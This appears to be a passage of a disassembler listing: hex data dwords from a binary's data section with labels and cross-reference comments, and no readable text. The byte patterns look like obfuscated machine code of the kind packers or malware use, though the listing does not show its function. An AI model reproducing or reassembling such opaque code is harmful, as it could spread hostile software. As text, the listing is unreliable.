		dd 0F000000h, 685h, 59952B00h, 6A05E716h, 59950902h, 0FF05E717h
		dd 68857495h, 8DB52900h, 6105E731h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0DAC35141h,	2393401Fh, 0C8DA8118h
		dd 0C72DAAA2h, 0E74CF185h, 105h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 7EDF5284h
		dd 958BCE2Fh, 5E7237Dh,	9E85350h, 0B8000000h, 726BB16Fh
		dd 727FF99Fh, 5A5AD68Bh, 0E9243489h, 11h, 0D0C6C249h, 0FC2B52F8h
		dd 19F62EA6h, 10D608B9h, 0D381669Eh, 0B58942EAh, 5E74CA2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F6C35747h
		dd 22CB8056h, 8DBD835Ah, 105E72Bh, 4D850Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 858904C3h, 5E727F1h,	6A99531h, 23BA05E7h, 833F95C9h
		dd 850F05F8h, 17h, 1441958Bh, 958B05E7h, 5E71365h, 0B8h
		dd 1D958900h, 8305E717h, 0E732C9BDh, 840F0005h,	2Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1CC35141h, 9AF01375h
		dd 0AD8DDFF7h, 0B8DFBF0Fh, 0
		dd 958B60F9h, 5E72195h,	1185858Bh, 6A05E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 742650C3h
		dd 0FCED3927h, 833DB380h, 6A02C0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0AE1BE6C3h, 67D93380h
		dd 0B529FA8Ah, 5E7093Dh, 4C9A8589h, 8B6605E7h, 0FF00C6DEh
		dd 4C0DA81h, 85C62FC5h,	5E732A5h, 518D8953h, 6805E71Bh
		dd 0EC0EB983h, 81DE8B66h, 0F15B2434h, 6A10BFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0E105B7C3h, 0FF099EECh, 0E72B05B5h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 879AE082h, 3860F28h,	80000000h, 858DC6C6h, 5EA7DA1h
		dd 70CA8166h, 8BD0FF46h, 0E7297D9Dh, 0C1858905h, 6A05E721h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0A8A8C352h, 0CF959CFDh, 0BD891A31h, 5E725E9h
		dd 24E9BD83h, 0F0105E7h, 12985h, 5D858900h, 0F05E729h
		dd 0E961D0BFh, 10h, 0A8F78D59h,	1FA71312h, 4377E5B7h, 98D8EB29h
		dd 32A585C6h, 0F4505E7h, 1A85h,	148D0F00h, 0E9000000h
		dd 0Fh,	5A5CE57Ah, 24311123h, 30D3876Bh, 686C9481h, 95F9CD5Fh
		dd 10E9h, 5E7F3500h, 0DED69E83h, 0D893476Ah, 0CE838EB0h
		dd 240481A4h, 44666B63h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0CEC35747h, 66FB5152h, 604CEA81h, 2B05B5FFh
		dd 950305E7h, 5E7200Dh,	7DA1858Dh, 958B05EAh, 5E7159Dh
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B70FC5C3h, 85BD31D1h, 6A05E718h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8B607242h, 0E7137D8Dh, 518D8B05h, 6105E71Ch,	0CE8h
		dd 0BE31AB00h, 53547760h, 99E45DDEh, 5AD38A19h,	14E8D0FFh
		dd 9B000000h, 4D3B4037h, 32C8EB39h, 28EF0207h, 0F1BB55E8h
		dd 8BB933E0h, 0BD835BD1h, 5E70A25h, 0BD850F01h,	0E8000000h
		dd 0Ah,	663D4764h, 5491966h, 5AFC3743h,	1185858Bh, 9D8B05E7h
		dd 5E7089Dh, 81E9h, 5250F900h, 0AE9h, 74EFDE00h, 0F629A4FEh
		dd 5A6BC3B2h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0EC74C355h,	6A75FDC3h
		dd 930976ACh, 146AA8B3h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0B8C35343h, 0EE9h, 0D1984200h, 2E05A293h
		dd 0A109449Bh, 81B052E7h, 4DC062C2h, 0C195FF1Eh, 6605E721h
		dd 589030BBh, 3880D38Bh, 77850F00h, 81FFFFFFh, 140C18D3h
		dd 0C610B632h, 9D890100h, 5E71665h, 0D6BF0F61h,	0F9BD83h
		dd 0F0005E7h, 5084h, 22BA6600h,	919D03ECh, 6A05E718h, 19DA80FFh
		dd 21C195FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 3E2CB3C3h, 0B48FE166h, 0BE976h
		dd 5AA20000h, 3E019C29h, 949F77E1h, 0FFBDE9D2h,	8B66FFFFh
		dd 0F985C7D3h, 105E700h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 4420C352h
		dd 43B89FCh, 0E8A83E16h, 0Ah, 13E63261h, 0D449963Bh, 0BA6606CFh
		dd 0E95A2AA8h, 0Ah, 0C90BC1D9h,	41F8B500h, 8589A26Bh, 5E74CA6h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B5C35747h
		dd 87F732D8h, 816681FFh, 89029DDBh, 0E71A159Dh,	11E89005h
		dd 83000000h, 81DBC9D4h, 903FE0Dh, 0D2A678E6h, 378EDC67h
		dd 0D49ABB66h, 0B8BA505Bh, 90459AD2h, 2C55958Bh, 6A6005E7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 27EEC350h, 0DB4E7183h, 830FDD8Ch,	8, 2850Fh
		dd 0CB70000h, 6A056Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 3C6772C3h, 1AF5B288h, 0E90FC6CBh
		dd 12h,	0B796B140h, 711681A2h, 0BBB6990Bh, 743B1958h, 858D1F7Ah
		dd 5E74CBEh, 19F5950Bh,	0B39005E7h, 5250507Ah, 5250310Fh
		dd 0DF8125BAh, 66310F26h, 5A0119BAh, 90585A58h,	6800FF9h
		dd 2B000000h, 0E717E59Dh, 0AE858D05h, 6A05E74Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 6674C357h, 20B3EB81h, 1468BB90h, 60506A52h, 8F0Fh, 0EE8A0000h
		dd 6A9061h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0FD2AEC3h, 583h, 0D3816600h, 95FFA8EEh, 5E72C31h
		dd 12CFC381h, 8D8D1060h, 5E77D20h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0EC35343h, 30D41C87h, 8589DD18h
		dd 5E72D75h, 0C00BD68Bh, 858D1174h, 5E74CBEh, 89D1FF50h
		dd 0E74CDC85h, 0C70AEB05h, 0E74CDC85h, 0FFFFFF05h, 0AE953FFh
		dd 0DF000000h, 0F5BE6C8Bh, 4B37DCBEh, 0B5895A9Ch, 5E7137Dh
		dd 10E961h, 0FB1F0000h,	6B09BE18h, 0CF9E3AAAh, 0AD4039A0h
		dd 85C61085h, 5E732A5h,	0D4BB664Dh, 4E8CCh, 76A80000h
		dd 0BB66A435h, 8B50F307h, 0F042444h, 0E8Eh, 9E900h, 773C0000h
		dd 88A07890h, 8B501536h, 0E9525000h, 8,	1CD3F37Dh, 87CAE560h
		dd 8A52310Fh, 585A5AF9h, 4244489h, 7F19BA66h, 0FFD18B58h
		dd 0E73299B5h, 89575605h, 0E71B519Dh, 8D5A5B05h, 0EA7DA185h
		dd 9E905h, 0BC250000h, 12D16931h, 0FFC3E662h, 57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 9E744FB0h, 788CA801h, 0B59BD89h, 858905E7h, 5E708D9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 59C35343h
		dd 2869C60Dh, 38B0F52h,	80000000h, 85C62BE2h, 5E732A5h
		dd 68D88B45h, 7010030Fh, 0D68B5250h, 585A310Fh,	5A240481h
		dd 0E91E6266h, 0Fh, 67FB1CBCh, 99FA312Fh, 182C75A7h, 0FF8E5C59h
		dd 0E72B05B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 873A0D05h, 0C0D31788h
		dd 9D8BC789h, 5E72759h,	72CB8166h, 0A1858D05h, 6A05EA7Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 60B7C351h, 90D4BA66h, 0FE9h, 0E9615A00h
		dd 2A7C5033h, 77C816B6h, 0FC51EDACh, 11E961h, 0C9E80000h
		dd 55832B97h, 938C11E4h, 0B21D4FCFh, 0FFFB2DB8h, 0FD9D8BD0h
		dd 8905E707h, 0E7170185h, 9E905h, 4DBE0000h, 1C6643FEh
		dd 81B52985h, 18D773EAh, 6AD28B23h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3F71C352h
		dd 0E9EBEA85h, 14h, 70D53475h, 0E6D4FABAh, 0CFA7831Dh
		dd 3F3CCCB3h, 7E56FFA6h, 0FD98C66h, 0C1F6D0BFh,	7D840F04h
		dd 0E9000002h, 0Ah, 4253D8FCh, 0FEE3DC2Ah, 0F1BA3119h
		dd 0E9505893h, 144h, 0CE9h, 0B0133500h,	61CC6673h, 0F239826Bh
		dd 11B58B64h, 0B705E71Bh, 80C6811Fh, 6A000011h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 47B2C351h, 93CCB86Bh, 0DB5290Fh, 6605E704h
		dd 6DFBE281h, 183DBD83h, 0F0005E7h, 3B85h, 57006A00h, 3E8h
dword_544450	dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
					; DATA XREF: ___:off_43CCF4o
		dd 9AEA8A67h, 2DB6B379h, 9E9F9h, 440000h, 0A70EEAA6h, 0E9BD9910h
		dd 0A0h, 72F0BB66h, 0F003E83h, 9384h, 0DEBB6600h, 6A6024h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 4A8804C3h, 0D18B661Eh, 0DE8146Ah, 0A7000000h, 0F6B21B0Ah
		dd 0BC3BA195h, 4A6DFECFh, 5BD9B70Fh, 21C195FFh,	6A05E7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0B3DDE4C3h, 66EE305Ah, 8B606111h, 0E72F61BDh, 12E96105h
		dd 0F2000000h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh,	7DF7488Fh
		dd 0FF6AE94Fh, 0BD29FFFFh, 5E7229Dh, 106C7h, 9E90000h
		dd 4C000000h, 0FCB1867Dh, 7D5A5EE4h, 4CA6BD83h,	0F0505E7h
		dd 11385h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 55B151C8h, 7E99Ah, 95930000h, 402654DCh
		dd 0EDBD2910h, 8B05E732h, 0E71701B5h, 0EDBD8905h, 0B905E722h
		dd 64h,	0D880BA66h, 0FE83E80h, 2F84h, 0C59D3100h, 8905E71Bh
		dd 0E72F0985h, 82E905h,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0B6EDFBC3h, 0C2057E80h
		dd 7C840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 0B40530C3h, 0E949ED74h, 12h, 7F9AE827h
		dd 559D016Dh, 0D4BA621Eh, 0CBE2C026h, 6660196Eh, 2CC2E181h
		dd 10E8h, 0AD972B00h, 0B51C2C2h, 0D351FAB9h, 627D505Ah
		dd 0DF8166D7h, 615F5F91h, 1EE28046h, 59850F49h,	0FFFFFFFh
		dd 68Ah, 0CD9D8B00h, 0E905E72Eh, 14h, 0C0D9D8Bh, 0B58905E7h
		dd 5E70459h, 41958B53h,	5A05E72Ch, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 159D2362h
		dd 0E905E701h, 5, 806E4064h, 31BD83F3h,	5E701h,	150840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 668544C3h, 5160DE8Bh, 1D5D8D01h, 0C65B05E7h
		dd 0E732A585h, 6A5405h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E9C6CDC3h, 5, 69219576h, 4E821h
		dd 0BEF40000h, 8A0FFF4Eh, 8, 28B0Fh, 61600000h,	8BE5B350h
		dd 51042444h, 8B5AD38Bh, 21BB6600h, 244489C9h, 5EDEBA04h
		dd 33583E97h, 0E71B0595h, 5B5FF05h, 8B05E72Bh, 0E720359Dh
		dd 0A1858D05h, 6605EA7Dh, 0F07FC381h, 6AD0FFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 2CEF9C3h, 0E380006Ah, 0CE914h, 21050000h, 0BF9B9739h
		dd 56ED9B5Dh, 0B5FFC49Ch, 5E70131h, 29D19D03h, 0FE905E7h
		dd 0DA000000h, 5BAF5AA0h, 5F8C9D4Eh, 0EC887FAh,	0D0FF4155h
		dd 9503D98Bh, 5E72231h,	51006A61h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0A10BF953h, 2B14E851h
		dd 0B5896FEEh, 5E72835h, 0E19D8960h, 0E905E732h, 11h, 4367DFD1h
		dd 0C311A559h, 0F8858510h, 0CC474D31h, 85C76190h, 5E71865h
		dd 1, 0A1958B53h, 5B05E70Ch, 0D38B5360h, 0DD1C685Bh, 0BA56612Dh
		dd 3C6901Ch, 2434815Bh,	612DDD9Ch, 6B3F960h, 8BFF6A61h
		dd 0E727799Dh, 6D95FF05h, 6A05E719h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 713CC351h
		dd 503C6C71h, 8B615AFCh, 0E727659Dh, 14E95005h,	80000000h
		dd 0D15F096Ah, 0ADC59948h, 0C32B5778h, 2942A032h, 89DD6FD4h
		dd 958B2404h, 5E70A01h,	6E9h, 1B53BF00h, 8BD34D05h, 0E72BA585h
		dd 0B59D8B05h, 0B05E717h, 3B840FC0h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 759C352h, 16F884B3h,	8D31F38Ah, 5E725CDh, 156D95FFh
		dd 830F05E7h, 6, 2BE58D89h, 85C705E7h, 5E72519h, 1, 0F18B6660h
		dd 55DBD8Bh, 836105E7h,	0E71871BDh, 840F0005h, 2Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 43C35343h, 0D9201130h
		dd 95FFCE46h, 5E71CC5h,	0BD83A7B7h, 5E717E9h, 24840F00h
		dd 0B2000000h, 3D95FF17h, 6A05E70Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 83A6C353h
		dd 0E71675BDh, 840F0005h, 27h, 0DBC82BAh, 1BD832Dh, 5E703h
		dd 15850Fh, 85890000h, 5E72D7Dh, 0E7DB509h, 95FF05E7h
		dd 5E7147Dh, 834BD280h,	0E7153DBDh, 840F0005h, 72h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 36C35646h, 65958BE2h
		dd 8B05E70Ch, 0E7237195h, 7D858105h, 305E704h, 6A000040h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 58DDC353h, 7995DE9Bh, 0A0BA5E84h,	8140BF4Ch
		dd 0E7177585h, 400305h,	8E900h,	0AB290000h, 98489A33h
		dd 310F64B7h, 8D8DD88Bh, 5E75E04h, 19819503h, 18905E7h
		dd 0DEBF0F60h, 11DA8166h, 0C23361FCh, 4810Fh, 0B6510000h
		dd 41895A4Ah, 0C59D8904h, 0F05E72Eh, 69958B31h,	8D05E72Ch
		dd 0E75E368Dh, 0A820F05h, 60000000h, 0BD89E18Ah, 5E71B69h
		dd 0F8018961h, 0CB81C233h, 3478251Eh, 89DEBF0Fh, 6A0441h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0F7E3A3C3h, 3AAEF52Eh, 4820Fh, 0BA660000h, 0BD83257Bh
		dd 5E70A41h, 35840F00h,	66000000h, 0FFD5A7BAh, 0E72E9995h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 8FC1F563h, 1A2E0294h, 958BCA96h,	5E717F5h
		dd 1D2DBD83h, 0F0105E7h, 5C85h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0E35760DEh
		dd 71B5894Bh, 0E905E703h, 5, 6F4515ADh,	27E944h, 0D4BA0000h
		dd 8B249408h, 0E75F58B5h, 6C705h, 8B000000h, 0E75D32B5h
		dd 6C705h, 0CF000000h, 31D6B70Fh, 0E7044195h, 19BD8305h
		dd 5E725h, 152840Fh, 0EE80000h,	73000000h, 2BB9BA79h, 5678761Dh
		dd 0E7864B71h, 0DABF0FA1h, 79BD835Bh, 105E719h,	11E850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0D42942C3h, 525CDD6Fh, 4C9A8D8Bh,	6A05E7h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A9AD9CC3h, 9ACB817Eh, 0FC742E19h, 0C2C8EA81h, 1C67F69h
		dd 0BD9D8B00h, 6005E716h, 0C0BF0F60h, 61D7B70Fh, 17C59529h
		dd 756805E7h, 66506BB5h, 3481D78Bh, 6BB5F524h, 56006A50h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 35C4FDA0h, 478EAC42h, 9D334C37h, 5E703F1h, 0D68BFF6Ah
		dd 5B5BD01h, 95FF05E7h,	5E7196Dh, 17659529h, 16105E7h
		dd 0E7095185h, 0AD95FF05h, 0E905E719h, 7, 0F0D6A89Bh, 8B527BE7h
		dd 0E74C9A8Dh, 22F28105h, 0E92C7D9Ch, 11h, 0A1FC9C2Eh
		dd 0E779765Ch, 55BC293Ah, 0E7E20447h
		dd 6A01FEDDh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 6FFFC352h, 0C2D6EA9Eh,	64C0189Dh
		dd 1461BD83h, 0F0105E7h, 385h, 98C78000h, 0BD83C08Bh, 5E70C81h
		dd 83097500h, 0E72819BDh, 1A740005h, 0C08B5350h, 47D858Bh
		dd 858905E7h, 5E7047Dh,	0B4939D8Dh, 0D3FF05E9h,	0BD83585Bh
		dd 5E72819h, 50187400h,	7D858B53h, 8905E704h, 0E7047D85h
		dd 829D8D05h, 0FF05E9B1h, 81585BD3h, 70CF9DC2h,	56006A1Dh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 4CFCD986h, 82D57EE5h, 1AF1958Bh, 0DF8B05E7h,	83F9C08Bh
		dd 0E72519BDh, 850F0005h, 59h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 64C35343h, 0BE8BA185h, 178C61Ah
		dd 0E713A18Dh, 0C59D2905h, 8305E717h, 0E70B2DBDh, 840F0005h
		dd 1Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h
		dd 49C35242h, 19BD8319h, 5E725h, 19840Fh, 0B5090000h, 5E72531h
		dd 2C25BD83h, 0F0005E7h, 684h, 499D8B00h, 8305E718h, 0E72519BDh
		dd 840F0005h, 22h, 224DB589h, 0BD8305E7h, 5E72C25h, 0F840F00h
		dd 0E9000000h, 0Ah, 0C23F3836h,	8DD63F2Ch, 0BD83553Eh
		dd 5E72519h, 15840F00h,	66000000h, 0BD83DA8Bh, 5E709F9h
		dd 5840F00h, 0BA000000h, 10BAD0D4h, 2519BD83h, 0F0005E7h
		dd 4384h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 705426B0h, 83876723h, 0E71271BDh
		dd 840F0005h, 14h, 718D3153h, 5B05E705h, 0AB595FFh, 9D8905E7h
		dd 5E72E51h, 0BD83C08Bh, 5E70C81h, 83097500h, 0E72819BDh
		dd 1A740005h, 0C08B5350h, 1775858Bh, 858905E7h,	5E71775h
		dd 0B4FA9D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50187400h
		dd 75858B53h, 8905E717h, 0E7177585h, 9B9D8D05h,	0FF05E9B1h
		dd 0F585BD3h, 68Bh, 75958B00h, 5105E72Ah, 8B5AF38Ah, 0BBFD8AC0h
		dd 2A184159h, 2519BD83h, 0F0005E7h, 4EF84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0EF3886B2h, 1391BD89h, 0BD8305E7h, 5E724E9h,	3D840F02h
		dd 0BA000000h, 643657F9h, 1D2DBD83h, 0F0105E7h,	2B85h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0CAA2F699h, 0F18B6051h, 95015B61h, 5E73269h
		dd 185BD83h, 0F0005E7h,	9084h, 65958B00h, 6005E729h, 0E850006Ah
		dd 3, 58C35820h, 4244489h
		db 81h,	44h
word_544F42	dw 424h			; DATA XREF: ___:off_435718o
		dd 17h,	0E8C35040h, 53CB5798h, 8D8B5AF9h, 5E74C9Ah, 0FEF7CA80h
		dd 687AB301h, 105D46B7h, 3481D08Bh, 5D463724h, 0DE8B6610h
		dd 202DB589h, 0FF6A05E7h, 925BD31h, 95FF05E7h, 5E7196Dh
		dd 767ADBBh, 6A6104h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0A30569C3h, 7E898h, 0D5120000h
		dd 76430E8Eh, 0D8BF0F16h, 6A605Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0F9DDFAC3h, 0B630F22Dh
		dd 8BDE8B9Ch, 0E74C9A8Dh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 82008065h
		dd 0BE9h, 5A575100h, 225A35CCh,	0A6EA0EB7h, 0E28101FEh
		dd 2227CE7Ch, 571B4968h, 8EBA60B7h, 8B491516h, 48161C6h
		dd 0A8E53724h, 57006A48h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 389C0A7Eh, 89DD20B5h
		dd 0E729E99Dh, 0FFF6A05h, 288h,	0FF1AB600h, 0E7196D95h
		dd 6671B705h, 0FCB4F281h, 0D3816661h, 0BD8DB919h, 5E71209h
		dd 68C0Fh, 9D0B0000h, 5E70B21h,	891C4F8Bh, 0E724819Dh
		dd 0E99D2305h, 6A05E728h, 0F19D8B01h, 5005E70Bh, 11E96060h
		dd 24000000h, 658EFA34h, 0AE89E967h, 24832C86h,	1D9DF9EDh
		dd 5B2DEFBAh, 8B666138h, 0C8961C1h, 0D88B6624h,	3917858Dh
		dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 67DABBC3h, 331F0354h, 6AD0FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F9A46C3h
		dd 588h, 0F2816600h, 0C6B7DB4Dh, 6A204F8Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 357EC357h
		dd 4008F344h, 6AFC24A2h, 3840F03h, 66000000h, 9D2BD08Bh
		dd 5E71385h, 0D88B5750h, 240C895Bh, 21B1CB81h, 858D0B2Ah
		dd 5EA3917h, 2AEDB589h,	0D0FF05E7h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 24C35141h, 8B0FAE2Ah, 1, 9BD8DF9h
		dd 0E905E712h, 0Eh, 9409110Bh, 326BF194h, 0E7D04F8h, 4F8B7230h
		dd 51006A1Ch, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0B2B10229h, 8B506040h, 0BD295EFBh, 5E72AEDh
		dd 8B016A61h, 0E70C919Dh, 0FFB25005h, 8B240C89h, 0E70AC595h
		dd 17858D05h, 6A05EA39h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 50B8C353h, 6D589F8Bh
		dd 9D8BB7F4h, 5E720DDh,	0B657F381h, 0BA6673F3h,	0D0FF285Eh
		dd 66DFB70Fh, 8B4A38BBh, 9D8B204Fh, 5E70605h, 6DB3036Ah
		dd 2840F91h, 8B000000h,	0E3B350D0h, 890FF891h, 6, 13999D29h
		dd 858D05E7h, 5EA3917h,	0D0FFDD8Ah, 4C9A8D8Bh, 6A05E7h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 5D0332C3h, 0A374C237h, 958B01FEh, 5E72C09h, 4C9A858Bh
		dd 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0E14DF3C3h, 1AD5B24h, 0E72419B5h,	6A00FE05h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 4281C351h, 1763400h, 6ADABA50h, 619D8B01h
		dd 0E805E708h, 4, 0FFFF9FFFh, 5050F98Ah, 0CEA6BB52h, 310F0486h
		dd 0B85A5760h, 630E2F84h, 8B585A61h, 60042444h,	5250C3B4h
		dd 8E9h, 6EAAD700h, 7283D2CAh, 0E8310F87h, 11h,	0B6814288h
		dd 0F483733h, 91155164h, 290E141Dh, 585A5908h, 0E8008B61h
		dd 6, 5A5BEBA2h, 0EE9D848h
dword_545350	dd 0BA000000h, 761D2BB9h, 4B715678h, 0D5A1E786h, 44895A5Bh
					; DATA XREF: ___:off_43CCB4o
		dd 0BA660424h, 6A582B3Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0C109C355h,	8D44285Bh
		dd 0EA392185h, 8EEF8005h, 9D8BD0FFh, 5E70CE1h, 0B2DBD83h
		dd 0F0005E7h, 0D284h, 0D1952300h, 0BA05E729h, 561A0C0Eh
		dd 2B8DBD83h, 0F0105E7h, 0BA85h, 68C0F00h, 8B000000h, 0E72BF59Dh
		dd 2B8D8D05h, 6A05EA39h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0CE66C356h,	9E40B4B1h
		dd 0B5316435h, 5E71571h, 0FB6DBA66h, 0BB66036Ah, 16AFA28h
		dd 1CF99D2Bh, 6E905E7h,	0E4000000h, 63AE3C4Dh, 0E9D1FFA2h
		dd 0Fh,	77B5B91Ch, 0CF13FA13h, 1265CBCFh, 8A54D9AEh, 80016AFAh
		dd 16AA9C7h, 0FFA1F780h, 0D59D8BD1h, 0E805E721h, 0FA745CE9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FFC35242h
		dd 12E9h, 862EF600h, 9E05D2ACh,	74723EA0h, 0F341793h, 6A70A090h
		dd 52006A20h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0E8B8C7EBh, 0E9C6F6C5h, 0Ch, 0EA4658Dh
		dd 907C7639h, 4A4A6CB7h, 10E9h,	5081D400h, 7909EC3Ah, 0CD74D480h
		dd 8B5DEFFDh, 0E8FF6AEAh, 6, 0BE13BBFFh, 8A0F6FD2h, 2
		dd 0FF5B5A53h, 0E7196D95h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 5E972h, 28FE0000h
		dd 0B8F18811h, 0
		dd 0C00BDF8Bh, 22840Fh,	85010000h, 5E72909h, 1A4DBD83h
		dd 0F0005E7h, 0F84h, 59C38000h,	0F195FFh, 958905E7h, 5E71195h
		dd 1185858Bh, 9D3305E7h, 5E72155h, 600000C6h, 3199850Bh
		dd 0B58B05E7h, 5E72C91h, 0BD295861h, 5E72AD5h, 0FD98C66h
		dd 0C1F6DFBFh, 0EF840F04h, 6A000000h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 167FC357h
		dd 6725A117h, 7D96C729h, 0B999D89h, 0E9B305E7h,	0BDE9h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 43D38833h, 0BE9h, 67828100h, 4FEF7F0Ch
		dd 6784F0BDh, 1B11B58Bh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0FF9922C3h, 0D18B33E3h
		dd 4559D31h, 0C68105E7h, 1180h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0DC35545h, 0DAF7AF26h, 6695621Bh
